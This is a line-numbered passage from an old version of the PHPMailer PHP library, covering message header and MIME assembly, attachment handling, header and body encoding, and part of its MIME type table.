2212 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2213 break;
2214 }
2215 }
2216
2217 /**
2218 * Assembles message header.
2219 * @access private
2220 * @return string
2221 */
2222 function CreateHeader() {
2223 $result = '';
2224
2225 /* Set the boundaries */
2226 $uniq_id = md5(uniqid(time()));
2227 $this->boundary[1] = 'b1_' . $uniq_id;
2228 $this->boundary[2] = 'b2_' . $uniq_id;
2229
2230 $result .= $this->HeaderLine('Date', $this->RFCDate());
2231 if($this->Sender == '') {
2232 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2233 } else {
2234 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2235 }
2236
2237 /* To be created automatically by mail() */
2238 if($this->Mailer != 'mail') {
2239 if(count($this->to) > 0) {
2240 $result .= $this->AddrAppend('To', $this->to);
2241 } elseif (count($this->cc) == 0) {
2242 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2243 }
2244 if(count($this->cc) > 0) {
2245 $result .= $this->AddrAppend('Cc', $this->cc);
2246 }
2247 }
2248
2249 $from = array();
2250 $from[0][0] = trim($this->From);
2251 $from[0][1] = $this->FromName;
2252 $result .= $this->AddrAppend('From', $from);
2253
2254 /* sendmail and mail() extract Cc from the header before sending */
2255 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2256 $result .= $this->AddrAppend('Cc', $this->cc);
2257 }
2258
2259 /* sendmail and mail() extract Bcc from the header before sending */
2260 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2261 $result .= $this->AddrAppend('Bcc', $this->bcc);
2262 }
2263
2264 if(count($this->ReplyTo) > 0) {
2265 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2266 }
2267
2268 /* mail() sets the subject itself */
2269 if($this->Mailer != 'mail') {
2270 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2271 }
2272
2273 if($this->MessageID != '') {
2274 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2275 } else {
2276 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2277 }
2278 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2279 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2280
2281 if($this->ConfirmReadingTo != '') {
2282 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2283 }
2284
2285 // Add custom headers
2286 for($index = 0; $index < count($this->CustomHeader); $index++) {
2287 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2288 }
2289 if (!$this->sign_key_file) {
2290 $result .= $this->HeaderLine('MIME-Version', '1.0');
2291 $result .= $this->GetMailMIME();
2292 }
2293
2294 return $result;
2295 }
2296
2297 /**
2298 * Returns the message MIME.
2299 * @access private
2300 * @return string
2301 */
2302 function GetMailMIME() {
2303 $result = '';
2304 switch($this->message_type) {
2305 case 'plain':
2306 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2307 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2308 break;
2309 case 'attachments':
2310 /* fall through */
2311 case 'alt_attachments':
2312 if($this->InlineImageExists()){
2313 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2314 } else {
2315 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2316 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2317 }
2318 break;
2319 case 'alt':
2320 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2321 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2322 break;
2323 }
2324
2325 if($this->Mailer != 'mail') {
2326 $result .= $this->LE.$this->LE;
2327 }
2328
2329 return $result;
2330 }
2331
2332 /**
2333 * Assembles the message body. Returns an empty string on failure.
2334 * @access private
2335 * @return string
2336 */
2337 function CreateBody() {
2338 $result = '';
2339 if ($this->sign_key_file) {
2340 $result .= $this->GetMailMIME();
2341 }
2342
2343 $this->SetWordWrap();
2344
2345 switch($this->message_type) {
2346 case 'alt':
2347 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2348 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2349 $result .= $this->LE.$this->LE;
2350 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2351 $result .= $this->EncodeString($this->Body, $this->Encoding);
2352 $result .= $this->LE.$this->LE;
2353 $result .= $this->EndBoundary($this->boundary[1]);
2354 break;
2355 case 'plain':
2356 $result .= $this->EncodeString($this->Body, $this->Encoding);
2357 break;
2358 case 'attachments':
2359 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2360 $result .= $this->EncodeString($this->Body, $this->Encoding);
2361 $result .= $this->LE;
2362 $result .= $this->AttachAll();
2363 break;
2364 case 'alt_attachments':
2365 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2366 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2367 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2368 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2369 $result .= $this->LE.$this->LE;
2370 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2371 $result .= $this->EncodeString($this->Body, $this->Encoding);
2372 $result .= $this->LE.$this->LE;
2373 $result .= $this->EndBoundary($this->boundary[2]);
2374 $result .= $this->AttachAll();
2375 break;
2376 }
2377
2378 if($this->IsError()) {
2379 $result = '';
2380 } else if ($this->sign_key_file) {
2381 $file = tempnam("", "mail");
2382 $fp = fopen($file, "w");
2383 fwrite($fp, $result);
2384 fclose($fp);
2385 $signed = tempnam("", "signed");
2386
2387 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2388 $fp = fopen($signed, "r");
2389 $result = fread($fp, filesize($this->sign_key_file));
2390 fclose($fp);
2391 } else {
2392 $this->SetError($this->Lang("signing").openssl_error_string());
2393 $result = '';
2394 }
2395
2396 unlink($file);
2397 unlink($signed);
2398 }
2399
2400 return $result;
2401 }
2402
2403 /**
2404 * Returns the start of a message boundary.
2405 * @access private
2406 */
2407 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2408 $result = '';
2409 if($charSet == '') {
2410 $charSet = $this->CharSet;
2411 }
2412 if($contentType == '') {
2413 $contentType = $this->ContentType;
2414 }
2415 if($encoding == '') {
2416 $encoding = $this->Encoding;
2417 }
2418 $result .= $this->TextLine('--' . $boundary);
2419 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2420 $result .= $this->LE;
2421 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2422 $result .= $this->LE;
2423
2424 return $result;
2425 }
2426
2427 /**
2428 * Returns the end of a message boundary.
2429 * @access private
2430 */
2431 function EndBoundary($boundary) {
2432 return $this->LE . '--' . $boundary . '--' . $this->LE;
2433 }
2434
2435 /**
2436 * Sets the message type.
2437 * @access private
2438 * @return void
2439 */
2440 function SetMessageType() {
2441 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2442 $this->message_type = 'plain';
2443 } else {
2444 if(count($this->attachment) > 0) {
2445 $this->message_type = 'attachments';
2446 }
2447 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2448 $this->message_type = 'alt';
2449 }
2450 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2451 $this->message_type = 'alt_attachments';
2452 }
2453 }
2454 }
2455
2456 /* Returns a formatted header line.
2457 * @access private
2458 * @return string
2459 */
2460 function HeaderLine($name, $value) {
2461 return $name . ': ' . $value . $this->LE;
2462 }
2463
2464 /**
2465 * Returns a formatted mail line.
2466 * @access private
2467 * @return string
2468 */
2469 function TextLine($value) {
2470 return $value . $this->LE;
2471 }
2472
2473 /////////////////////////////////////////////////
2474 // CLASS METHODS, ATTACHMENTS
2475 /////////////////////////////////////////////////
2476
2477 /**
2478 * Adds an attachment from a path on the filesystem.
2479 * Returns false if the file could not be found
2480 * or accessed.
2481 * @param string $path Path to the attachment.
2482 * @param string $name Overrides the attachment name.
2483 * @param string $encoding File encoding (see $Encoding).
2484 * @param string $type File extension (MIME) type.
2485 * @return bool
2486 */
2487 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2488 if(!@is_file($path)) {
2489 $this->SetError($this->Lang('file_access') . $path);
2490 return false;
2491 }
2492
2493 $filename = basename($path);
2494 if($name == '') {
2495 $name = $filename;
2496 }
2497
2498 $cur = count($this->attachment);
2499 $this->attachment[$cur][0] = $path;
2500 $this->attachment[$cur][1] = $filename;
2501 $this->attachment[$cur][2] = $name;
2502 $this->attachment[$cur][3] = $encoding;
2503 $this->attachment[$cur][4] = $type;
2504 $this->attachment[$cur][5] = false; // isStringAttachment
2505 $this->attachment[$cur][6] = 'attachment';
2506 $this->attachment[$cur][7] = 0;
2507
2508 return true;
2509 }
2510
2511 /**
2512 * Attaches all fs, string, and binary attachments to the message.
2513 * Returns an empty string on failure.
2514 * @access private
2515 * @return string
2516 */
2517 function AttachAll() {
2518 /* Return text of body */
2519 $mime = array();
2520
2521 /* Add all attachments */
2522 for($i = 0; $i < count($this->attachment); $i++) {
2523 /* Check for string attachment */
2524 $bString = $this->attachment[$i][5];
2525 if ($bString) {
2526 $string = $this->attachment[$i][0];
2527 } else {
2528 $path = $this->attachment[$i][0];
2529 }
2530
2531 $filename = $this->attachment[$i][1];
2532 $name = $this->attachment[$i][2];
2533 $encoding = $this->attachment[$i][3];
2534 $type = $this->attachment[$i][4];
2535 $disposition = $this->attachment[$i][6];
2536 $cid = $this->attachment[$i][7];
2537
2538 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2539 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2540 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2541
2542 if($disposition == 'inline') {
2543 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2544 }
2545
2546 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2547
2548 /* Encode as string attachment */
2549 if($bString) {
2550 $mime[] = $this->EncodeString($string, $encoding);
2551 if($this->IsError()) {
2552 return '';
2553 }
2554 $mime[] = $this->LE.$this->LE;
2555 } else {
2556 $mime[] = $this->EncodeFile($path, $encoding);
2557 if($this->IsError()) {
2558 return '';
2559 }
2560 $mime[] = $this->LE.$this->LE;
2561 }
2562 }
2563
2564 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2565
2566 return join('', $mime);
2567 }
2568
2569 /**
2570 * Encodes attachment in requested format. Returns an
2571 * empty string on failure.
2572 * @access private
2573 * @return string
2574 */
2575 function EncodeFile ($path, $encoding = 'base64') {
2576 if(!@$fd = fopen($path, 'rb')) {
2577 $this->SetError($this->Lang('file_open') . $path);
2578 return '';
2579 }
2580 $magic_quotes = get_magic_quotes_runtime();
2581 set_magic_quotes_runtime(0);
2582 $file_buffer = fread($fd, filesize($path));
2583 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2584 fclose($fd);
2585 set_magic_quotes_runtime($magic_quotes);
2586
2587 return $file_buffer;
2588 }
2589
2590 /**
2591 * Encodes string to requested format. Returns an
2592 * empty string on failure.
2593 * @access private
2594 * @return string
2595 */
2596 function EncodeString ($str, $encoding = 'base64') {
2597 $encoded = '';
2598 switch(strtolower($encoding)) {
2599 case 'base64':
2600 /* chunk_split is found in PHP >= 3.0.6 */
2601 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2602 break;
2603 case '7bit':
2604 case '8bit':
2605 $encoded = $this->FixEOL($str);
2606 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2607 $encoded .= $this->LE;
2608 break;
2609 case 'binary':
2610 $encoded = $str;
2611 break;
2612 case 'quoted-printable':
2613 $encoded = $this->EncodeQP($str);
2614 break;
2615 default:
2616 $this->SetError($this->Lang('encoding') . $encoding);
2617 break;
2618 }
2619 return $encoded;
2620 }
2621
2622 /**
2623 * Encode a header string to best of Q, B, quoted or none.
2624 * @access private
2625 * @return string
2626 */
2627 function EncodeHeader ($str, $position = 'text') {
2628 $x = 0;
2629
2630 switch (strtolower($position)) {
2631 case 'phrase':
2632 if (!preg_match('/[\200-\377]/', $str)) {
2633 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2634 $encoded = addcslashes($str, "\0..\37\177\\\"");
2635 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2636 return ($encoded);
2637 } else {
2638 return ("\"$encoded\"");
2639 }
2640 }
2641 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2642 break;
2643 case 'comment':
2644 $x = preg_match_all('/[()"]/', $str, $matches);
2645 /* Fall-through */
2646 case 'text':
2647 default:
2648 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2649 break;
2650 }
2651
2652 if ($x == 0) {
2653 return ($str);
2654 }
2655
2656 $maxlen = 75 - 7 - strlen($this->CharSet);
2657 /* Try to select the encoding which should produce the shortest output */
2658 if (strlen($str)/3 < $x) {
2659 $encoding = 'B';
2660 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2661 // Use a custom function which correctly encodes and wraps long
2662 // multibyte strings without breaking lines within a character
2663 $encoded = $this->Base64EncodeWrapMB($str);
2664 } else {
2665 $encoded = base64_encode($str);
2666 $maxlen -= $maxlen % 4;
2667 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2668 }
2669 } else {
2670 $encoding = 'Q';
2671 $encoded = $this->EncodeQ($str, $position);
2672 $encoded = $this->WrapText($encoded, $maxlen, true);
2673 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2674 }
2675
2676 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2677 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2678
2679 return $encoded;
2680 }
2681
2682 /**
2683 * Checks if a string contains multibyte characters.
2684 * @access private
2685 * @param string $str multi-byte text to wrap encode
2686 * @return bool
2687 */
2688 function HasMultiBytes($str) {
2689 if (function_exists('mb_strlen')) {
2690 return (strlen($str) > mb_strlen($str, $this->CharSet));
2691 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2692 return False;
2693 }
2694 }
2695
2696 /**
2697 * Correctly encodes and wraps long multibyte strings for mail headers
2698 * without breaking lines within a character.
2699 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2700 * @access private
2701 * @param string $str multi-byte text to wrap encode
2702 * @return string
2703 */
2704 function Base64EncodeWrapMB($str) {
2705 $start = "=?".$this->CharSet."?B?";
2706 $end = "?=";
2707 $encoded = "";
2708
2709 $mb_length = mb_strlen($str, $this->CharSet);
2710 // Each line must have length <= 75, including $start and $end
2711 $length = 75 - strlen($start) - strlen($end);
2712 // Average multi-byte ratio
2713 $ratio = $mb_length / strlen($str);
2714 // Base64 has a 4:3 ratio
2715 $offset = $avgLength = floor($length * $ratio * .75);
2716
2717 for ($i = 0; $i < $mb_length; $i += $offset) {
2718 $lookBack = 0;
2719
2720 do {
2721 $offset = $avgLength - $lookBack;
2722 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2723 $chunk = base64_encode($chunk);
2724 $lookBack++;
2725 }
2726 while (strlen($chunk) > $length);
2727
2728 $encoded .= $chunk . $this->LE;
2729 }
2730
2731 // Chomp the last linefeed
2732 $encoded = substr($encoded, 0, -strlen($this->LE));
2733 return $encoded;
2734 }
2735
2736 /**
2737 * Encode string to quoted-printable.
2738 * @access private
2739 * @return string
2740 */
2741 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2742 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2743 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2744 $eol = "\r\n";
2745 $escape = '=';
2746 $output = '';
2747 while( list(, $line) = each($lines) ) {
2748 $linlen = strlen($line);
2749 $newline = '';
2750 for($i = 0; $i < $linlen; $i++) {
2751 $c = substr( $line, $i, 1 );
2752 $dec = ord( $c );
2753 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2754 $c = '=2E';
2755 }
2756 if ( $dec == 32 ) {
2757 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2758 $c = '=20';
2759 } else if ( $space_conv ) {
2760 $c = '=20';
2761 }
2762 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2763 $h2 = floor($dec/16);
2764 $h1 = floor($dec%16);
2765 $c = $escape.$hex[$h2].$hex[$h1];
2766 }
2767 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2768 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2769 $newline = '';
2770 // check if newline first character will be point or not
2771 if ( $dec == 46 ) {
2772 $c = '=2E';
2773 }
2774 }
2775 $newline .= $c;
2776 } // end of for
2777 $output .= $newline.$eol;
2778 } // end of while
2779 return trim($output);
2780 }
2781
2782 /**
2783 * Encode string to q encoding.
2784 * @access private
2785 * @return string
2786 */
2787 function EncodeQ ($str, $position = 'text') {
2788 /* There should not be any EOL in the string */
2789 $encoded = preg_replace("[\r\n]", '', $str);
2790
2791 switch (strtolower($position)) {
2792 case 'phrase':
2793 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2794 break;
2795 case 'comment':
2796 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2797 case 'text':
2798 default:
2799 /* Replace every high ascii, control =, ? and _ characters */
2800 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2801 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2802 break;
2803 }
2804
2805 /* Replace every spaces to _ (more readable than =20) */
2806 $encoded = str_replace(' ', '_', $encoded);
2807
2808 return $encoded;
2809 }
2810
2811 /**
2812 * Adds a string or binary attachment (non-filesystem) to the list.
2813 * This method can be used to attach ascii or binary data,
2814 * such as a BLOB record from a database.
2815 * @param string $string String attachment data.
2816 * @param string $filename Name of the attachment.
2817 * @param string $encoding File encoding (see $Encoding).
2818 * @param string $type File extension (MIME) type.
2819 * @return void
2820 */
2821 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2822 /* Append to $attachment array */
2823 $cur = count($this->attachment);
2824 $this->attachment[$cur][0] = $string;
2825 $this->attachment[$cur][1] = $filename;
2826 $this->attachment[$cur][2] = $filename;
2827 $this->attachment[$cur][3] = $encoding;
2828 $this->attachment[$cur][4] = $type;
2829 $this->attachment[$cur][5] = true; // isString
2830 $this->attachment[$cur][6] = 'attachment';
2831 $this->attachment[$cur][7] = 0;
2832 }
2833
2834 /**
2835 * Adds an embedded attachment. This can include images, sounds, and
2836 * just about any other document. Make sure to set the $type to an
2837 * image type. For JPEG images use "image/jpeg" and for GIF images
2838 * use "image/gif".
2839 * @param string $path Path to the attachment.
2840 * @param string $cid Content ID of the attachment. Use this to identify
2841 * the Id for accessing the image in an HTML form.
2842 * @param string $name Overrides the attachment name.
2843 * @param string $encoding File encoding (see $Encoding).
2844 * @param string $type File extension (MIME) type.
2845 * @return bool
2846 */
2847 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2848
2849 if(!@is_file($path)) {
2850 $this->SetError($this->Lang('file_access') . $path);
2851 return false;
2852 }
2853
2854 $filename = basename($path);
2855 if($name == '') {
2856 $name = $filename;
2857 }
2858
2859 /* Append to $attachment array */
2860 $cur = count($this->attachment);
2861 $this->attachment[$cur][0] = $path;
2862 $this->attachment[$cur][1] = $filename;
2863 $this->attachment[$cur][2] = $name;
2864 $this->attachment[$cur][3] = $encoding;
2865 $this->attachment[$cur][4] = $type;
2866 $this->attachment[$cur][5] = false;
2867 $this->attachment[$cur][6] = 'inline';
2868 $this->attachment[$cur][7] = $cid;
2869
2870 return true;
2871 }
2872
2873 /**
2874 * Returns true if an inline attachment is present.
2875 * @access private
2876 * @return bool
2877 */
2878 function InlineImageExists() {
2879 $result = false;
2880 for($i = 0; $i < count($this->attachment); $i++) {
2881 if($this->attachment[$i][6] == 'inline') {
2882 $result = true;
2883 break;
2884 }
2885 }
2886
2887 return $result;
2888 }
2889
2890 /////////////////////////////////////////////////
2891 // CLASS METHODS, MESSAGE RESET
2892 /////////////////////////////////////////////////
2893
2894 /**
2895 * Clears all recipients assigned in the TO array. Returns void.
2896 * @return void
2897 */
2898 function ClearAddresses() {
2899 $this->to = array();
2900 }
2901
2902 /**
2903 * Clears all recipients assigned in the CC array. Returns void.
2904 * @return void
2905 */
2906 function ClearCCs() {
2907 $this->cc = array();
2908 }
2909
2910 /**
2911 * Clears all recipients assigned in the BCC array. Returns void.
2912 * @return void
2913 */
2914 function ClearBCCs() {
2915 $this->bcc = array();
2916 }
2917
2918 /**
2919 * Clears all recipients assigned in the ReplyTo array. Returns void.
2920 * @return void
2921 */
2922 function ClearReplyTos() {
2923 $this->ReplyTo = array();
2924 }
2925
2926 /**
2927 * Clears all recipients assigned in the TO, CC and BCC
2928 * array. Returns void.
2929 * @return void
2930 */
2931 function ClearAllRecipients() {
2932 $this->to = array();
2933 $this->cc = array();
2934 $this->bcc = array();
2935 }
2936
2937 /**
2938 * Clears all previously set filesystem, string, and binary
2939 * attachments. Returns void.
2940 * @return void
2941 */
2942 function ClearAttachments() {
2943 $this->attachment = array();
2944 }
2945
2946 /**
2947 * Clears all custom headers. Returns void.
2948 * @return void
2949 */
2950 function ClearCustomHeaders() {
2951 $this->CustomHeader = array();
2952 }
2953
2954 /////////////////////////////////////////////////
2955 // CLASS METHODS, MISCELLANEOUS
2956 /////////////////////////////////////////////////
2957
2958 /**
2959 * Adds the error message to the error container.
2960 * Returns void.
2961 * @access private
2962 * @return void
2963 */
2964 function SetError($msg) {
2965 $this->error_count++;
2966 $this->ErrorInfo = $msg;
2967 }
2968
2969 /**
2970 * Returns the proper RFC 822 formatted date.
2971 * @access private
2972 * @return string
2973 */
2974 function RFCDate() {
2975 $tz = date('Z');
2976 $tzs = ($tz < 0) ? '-' : '+';
2977 $tz = abs($tz);
2978 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2979 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2980
2981 return $result;
2982 }
2983
2984 /**
2985 * Returns the appropriate server variable. Should work with both
2986 * PHP 4.1.0+ as well as older versions. Returns an empty string
2987 * if nothing is found.
2988 * @access private
2989 * @return mixed
2990 */
2991 function ServerVar($varName) {
2992 global $HTTP_SERVER_VARS;
2993 global $HTTP_ENV_VARS;
2994
2995 if(!isset($_SERVER)) {
2996 $_SERVER = $HTTP_SERVER_VARS;
2997 if(!isset($_SERVER['REMOTE_ADDR'])) {
2998 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2999 }
3000 }
3001
3002 if(isset($_SERVER[$varName])) {
3003 return $_SERVER[$varName];
3004 } else {
3005 return '';
3006 }
3007 }
3008
3009 /**
3010 * Returns the server hostname or 'localhost.localdomain' if unknown.
3011 * @access private
3012 * @return string
3013 */
3014 function ServerHostname() {
3015 if ($this->Hostname != '') {
3016 $result = $this->Hostname;
3017 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3018 $result = $this->ServerVar('SERVER_NAME');
3019 } else {
3020 $result = 'localhost.localdomain';
3021 }
3022
3023 return $result;
3024 }
3025
3026 /**
3027 * Returns a message in the appropriate language.
3028 * @access private
3029 * @return string
3030 */
3031 function Lang($key) {
3032 if(count($this->language) < 1) {
3033 $this->SetLanguage('en'); // set the default language
3034 }
3035
3036 if(isset($this->language[$key])) {
3037 return $this->language[$key];
3038 } else {
3039 return 'Language string failed to load: ' . $key;
3040 }
3041 }
3042
3043 /**
3044 * Returns true if an error occurred.
3045 * @return bool
3046 */
3047 function IsError() {
3048 return ($this->error_count > 0);
3049 }
3050
3051 /**
3052 * Changes every end of line from CR or LF to CRLF.
3053 * @access private
3054 * @return string
3055 */
3056 function FixEOL($str) {
3057 $str = str_replace("\r\n", "\n", $str);
3058 $str = str_replace("\r", "\n", $str);
3059 $str = str_replace("\n", $this->LE, $str);
3060 return $str;
3061 }
3062
3063 /**
3064 * Adds a custom header.
3065 * @return void
3066 */
3067 function AddCustomHeader($custom_header) {
3068 $this->CustomHeader[] = explode(':', $custom_header, 2);
3069 }
3070
3071 /**
3072 * Evaluates the message and returns modifications for inline images and backgrounds
3073 * @access public
3074 * @return $message
3075 */
3076 function MsgHTML($message,$basedir='') {
3077 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3078 if(isset($images[2])) {
3079 foreach($images[2] as $i => $url) {
3080 // do not change urls for absolute images (thanks to corvuscorax)
3081 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3082 $filename = basename($url);
3083 $directory = dirname($url);
3084 ($directory == '.')?$directory='':'';
3085 $cid = 'cid:' . md5($filename);
3086 $fileParts = split("\.", $filename);
3087 $ext = $fileParts[1];
3088 $mimeType = $this->_mime_types($ext);
3089 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3090 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3091 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3092 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3093 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3094 }
3095 }
3096 }
3097 }
3098 $this->IsHTML(true);
3099 $this->Body = $message;
3100 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3101 if ( !empty($textMsg) && empty($this->AltBody) ) {
3102 $this->AltBody = $textMsg;
3103 }
3104 if ( empty($this->AltBody) ) {
3105 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3106 }
3107 }
3108
3109 /**
3110 * Gets the mime type of the embedded or inline image
3111 * @access private
3112 * @return mime type of ext
3113 */
3114 function _mime_types($ext = '') {
3115 $mimes = array(
3116 'hqx' => 'application/mac-binhex40',
3117 'cpt' => 'application/mac-compactpro',
3118 'doc' => 'application/msword',
3119 'bin' => 'application/macbinary',
3120 'dms' => 'application/octet-stream',
3121 'lha' => 'application/octet-stream',
3122 'lzh' => 'application/octet-stream',
3123 'exe' => 'application/octet-stream',
3124 'class' => 'application/octet-stream',
3125 'psd' => 'application/octet-stream',
3126 'so' => 'application/octet-stream',
3127 'sea' => 'application/octet-stream',
3128 'dll' => 'application/octet-stream',
3129 'oda' => 'application/oda',
3130 'pdf' => 'application/pdf',
3131 'ai' => 'application/postscript',
3132 'eps' => 'application/postscript',
3133 'ps' => 'application/postscript',
3134 'smi' => 'application/smil',
3135 'smil' => 'application/smil',
3136 'mif' => 'application/vnd.mif',
3137 'xls' => 'application/vnd.ms-excel',
3138 'ppt' => 'application/vnd.ms-powerpoint',
3139 'wbxml' => 'application/vnd.wap.wbxml',
3140 'wmlc' => 'application/vnd.wap.wmlc',
3141 'dcr' => 'application/x-director',
3142 'dir' => 'application/x-director',
3143 'dxr' => 'application/x-director',
3144 'dvi' => 'application/x-dvi',
3145 'gtar' => 'application/x-gtar',
3146 'php' => 'application/x-httpd-php',
3147 'php4' => 'application/x-httpd-php',
3148 'php3' => 'application/x-httpd-php',
3149 'phtml' => 'application/x-httpd-php',
3150 'phps' => 'application/x-httpd-php-source',
3151 'js' => 'application/x-javascript',
3152 'swf' => 'application/x-shockwave-flash',
3153 'sit' => 'application/x-stuffit',
3154 'tar' => 'application/x-tar',
3155 'tgz' => 'application/x-tar',
3156 'xhtml' => 'application/xhtml+xml',
3157 'xht' => 'application/xhtml+xml',
3158 'zip' => 'application/zip',
3159 'mid' => 'audio/midi',
3160 'midi' => 'audio/midi',
3161 'mpga' => 'audio/mpeg',
3162 'mp2' => 'audio/mpeg',
3163 'mp3' => 'audio/mpeg',
3164 'aif' => 'audio/x-aiff',
3165 'aiff' => 'audio/x-aiff',
3166 'aifc' => 'audio/x-aiff',
3167 'ram' => 'audio/x-pn-realaudio',
3168 'rm' => 'audio/x-pn-realaudio',
3169 'rpm' => 'audio/x-pn-realaudio-plugin',
3170 'ra' => 'audio/x-realaudio',
3171 'rv' => 'video/vnd.rn-realvideo',
3172 'wav' => 'audio/x-wav',
3173 'bmp' => 'image/bmp',
3174 'gif' => 'image/gif',
3175 'jpeg' => 'image/jpeg',
3176 'jpg' => 'image/jpeg',
3177 'jpe' => 'image/jpeg',
3178 'png' => 'image/png',
3179 'tiff' => 'image/tiff',
3180 'tif' => 'image/tiff',
3181 'css' => 'text/css',
3182 'html' => 'text/html',
3183 'htm' => 'text/html',
3184 'shtml' => 'text/html',
3185 'txt' => 'text/plain',
3186 'text' => 'text/plain',
3187 'log' => 'text/plain',
